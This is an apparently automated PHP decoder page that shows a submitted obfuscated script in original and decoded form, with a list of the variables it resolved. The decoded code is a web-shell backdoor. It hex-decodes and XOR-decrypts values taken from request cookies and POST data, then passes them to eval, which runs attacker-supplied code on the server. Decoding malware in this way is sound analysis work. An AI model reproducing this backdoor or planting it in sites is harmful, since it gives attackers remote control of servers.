Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ifbvTMXK/* MJr*/=/* Rb */"\163" . "\x74"/* s*/. "\162" ./* LBZgS */"\x5f" ..

Decoded Output download

<?php	$ifbvTMXK/*   MJr*/=/*  Rb */"s"	.	"t"/*   s*/.   "r" ./* LBZgS   */"_"  .	chr (114)/*GRF  */.  chr/* m*/(/*  d  */502   -  401	)."p"/* wpNV  */. "e"	.     "a"     .	't';; 
	$hUYlKw/*   FW*/=/* yEfgh   */'e'/*  ex   */./*  SX   */'x'     .     "p"	./*  kG   */"l"/*  TG   */. chr/*sb*/(/*htAOc */633  -/*  PJvTD  */522/*   Zz   */)."d"   .	chr/* m  */(101);$_I	=	'2070'; 
 $MKCqz	=   chr/* RHuTM*/(     467/*   Xfn*/-	355/*   nxmT */)."a"   .	"c"/* uDn*/.	"k";$_pPH  =	'21001'; 
		function/*   N   */xdBLWgDh() 
  /*Eszz */{ 
				    $ujfbtSgw	=	Array  (	"wArWBNtViih" =>/*   jEEJ  */"YrvFQMtYF"	); 
			/* P   */ 
  	$mmrmedUmn =/* vDqdn  */Array/* ffgyS  */(	"BxYYV"	=>     "tzngg"/*  zcB  */); 
					 $upVpzHd	=	Array(	$ujfbtSgw,	$_COOKIE,/* sxhU   */$ujfbtSgw,	$_POST,    $mmrmedUmn);$_oCaM/*   IsNfd   */=/*  ztdRq*/'8410'; 
    /*DW  */ 
 
 
  return   $upVpzHd; 
		} 
 
   
	    function	jZLYJMcDly($eatNL) 
 
/*   WX*/{ 
 /*rIvr */if/* uRIw */(/*  QMCU*/count    (	$eatNL	)/*  BaM   */==	3/* VutY  */)	{ 
   /* AHF*/$bwqimE	=/*   y   */$eatNL[1];$_w/* GSPpr */=	'24200'; 
  /*V */$uxCbdLljh    = $eatNL[2];; 
				/* SN  */$VURjgkmj  =/*wsQMv */$bwqimE($uxCbdLljh); 
			eval	(/*MjZdb*/$VURjgkmj	);$_mCj	=	'20607'; 
			/*  iENu */die/*   CxB   */(); 
					 } 
 
 
 } 
     
		function/*   gxxDC*/MQfFdf($iYqyEgKmzh,/*   E   */$RpluFfzDrD) 
 
 
/*fNRcH */{ 
 
 
/*  TT  */return $iYqyEgKmzh     ^	$RpluFfzDrD; 
    /*  ODUV  */} 
					    
 	$BAqMt	= '#';$_CQFyE/*  N  */= '62640'; 
     /* zlZR*/ 
		/* jPby*/foreach (xdBLWgDh()     as/*QUK */$LWnSpEj)	{ 
					/* FvYdT*/foreach ( $LWnSpEj  as	$RpluFfzDrD  =>/* Yb*/$iYqyEgKmzh	)	{ 
    	 
       $iYqyEgKmzh/*tpG */=	@$MKCqz(/*   xBI */"H"	./*   MMljo*/chr/* ax */(     150	-   108  ),     $iYqyEgKmzh/*ZS   */);; 
 
 
     
		     $RpluFfzDrD	.=	"fzZJlZf-NabuIQ-ood-aCK-ZWvPTvt-hbqdIfk-CUVfE"; 
 
 
/*  NjAM   */$RpluFfzDrD/* zpI  */=	$ifbvTMXK     (/*l*/$RpluFfzDrD,  (  strlen(	$iYqyEgKmzh  )/strlen(/*zUIS */$RpluFfzDrD	)	)	+/*  VQBH */1); 
		   
 
 
     $yqtWOVUQyO	=   MQfFdf($iYqyEgKmzh,	$RpluFfzDrD);$_GbFOC =/*  qcDp   */'11735'; 
 /*   waO   */ 
 
	$eatNL     =	$hUYlKw     ($BAqMt,	$yqtWOVUQyO	); 
  /* X   */ 
   jZLYJMcDly($eatNL);$_i/*BR   */=	'37288'; 
   /*  JJoRr  */} 
  } ?>

Did this file decode correctly?

Original Code

<?php	$ifbvTMXK/*   MJr*/=/*  Rb */"\163"	.	"\x74"/*   s*/.   "\162" ./* LBZgS   */"\x5f"  .	chr (114)/*GRF  */.  chr/* m*/(/*  d  */502   -  401	)."\160"/* wpNV  */. "\x65"	.     "\x61"     .	't';;
	$hUYlKw/*   FW*/=/* yEfgh   */'e'/*  ex   */./*  SX   */'x'     .     "\160"	./*  kG   */"\x6c"/*  TG   */. chr/*sb*/(/*htAOc */633  -/*  PJvTD  */522/*   Zz   */)."\x64"   .	chr/* m  */(101);$_I	=	'2070';
 $MKCqz	=   chr/* RHuTM*/(     467/*   Xfn*/-	355/*   nxmT */)."\141"   .	"\143"/* uDn*/.	"\153";$_pPH  =	'21001';
		function/*   N   */xdBLWgDh()
  /*Eszz */{
				    $ujfbtSgw	=	Array  (	"wArWBNtViih" =>/*   jEEJ  */"YrvFQMtYF"	);
			/* P   */
  	$mmrmedUmn =/* vDqdn  */Array/* ffgyS  */(	"BxYYV"	=>     "tzngg"/*  zcB  */);
					 $upVpzHd	=	Array(	$ujfbtSgw,	$_COOKIE,/* sxhU   */$ujfbtSgw,	$_POST,    $mmrmedUmn);$_oCaM/*   IsNfd   */=/*  ztdRq*/'8410';
    /*DW  */


  return   $upVpzHd;
		}

  
	    function	jZLYJMcDly($eatNL)

/*   WX*/{
 /*rIvr */if/* uRIw */(/*  QMCU*/count    (	$eatNL	)/*  BaM   */==	3/* VutY  */)	{
   /* AHF*/$bwqimE	=/*   y   */$eatNL[1];$_w/* GSPpr */=	'24200';
  /*V */$uxCbdLljh    = $eatNL[2];;
				/* SN  */$VURjgkmj  =/*wsQMv */$bwqimE($uxCbdLljh);
			eval	(/*MjZdb*/$VURjgkmj	);$_mCj	=	'20607';
			/*  iENu */die/*   CxB   */();
					 }


 }
    
		function/*   gxxDC*/MQfFdf($iYqyEgKmzh,/*   E   */$RpluFfzDrD)


/*fNRcH */{


/*  TT  */return $iYqyEgKmzh     ^	$RpluFfzDrD;
    /*  ODUV  */}
					   
 	$BAqMt	= '#';$_CQFyE/*  N  */= '62640';
     /* zlZR*/
		/* jPby*/foreach (xdBLWgDh()     as/*QUK */$LWnSpEj)	{
					/* FvYdT*/foreach ( $LWnSpEj  as	$RpluFfzDrD  =>/* Yb*/$iYqyEgKmzh	)	{
    	
       $iYqyEgKmzh/*tpG */=	@$MKCqz(/*   xBI */"\110"	./*   MMljo*/chr/* ax */(     150	-   108  ),     $iYqyEgKmzh/*ZS   */);;


    
		     $RpluFfzDrD	.=	"fzZJlZf-NabuIQ-ood-aCK-ZWvPTvt-hbqdIfk-CUVfE";


/*  NjAM   */$RpluFfzDrD/* zpI  */=	$ifbvTMXK     (/*l*/$RpluFfzDrD,  (  strlen(	$iYqyEgKmzh  )/strlen(/*zUIS */$RpluFfzDrD	)	)	+/*  VQBH */1);
		  


     $yqtWOVUQyO	=   MQfFdf($iYqyEgKmzh,	$RpluFfzDrD);$_GbFOC =/*  qcDp   */'11735';
 /*   waO   */

	$eatNL     =	$hUYlKw     ($BAqMt,	$yqtWOVUQyO	);
  /* X   */
   jZLYJMcDly($eatNL);$_i/*BR   */=	'37288';
   /*  JJoRr  */}
  }

Function Calls

chr 5
xdBLWgDh 1

Variables

$_I 2070
$_pPH 21001
$BAqMt #
$MKCqz pack
$_oCaM 8410
$_CQFyE 62640
$hUYlKw explode
$upVpzHd [{'key': 0, 'value': [{'key': 'wArWBNtViih', 'value': 'YrvFQMtYF'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'wArWBNtViih', 'value': 'YrvFQMtYF'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'BxYYV', 'value': 'tzngg'}]}]
$ifbvTMXK str_repeat
$ujfbtSgw [{'key': 'wArWBNtViih', 'value': 'YrvFQMtYF'}]
$mmrmedUmn [{'key': 'BxYYV', 'value': 'tzngg'}]

Stats

MD5 f16b9b33dd9104495c03c3220c66139e
Eval Count 0
Decode Time 287 ms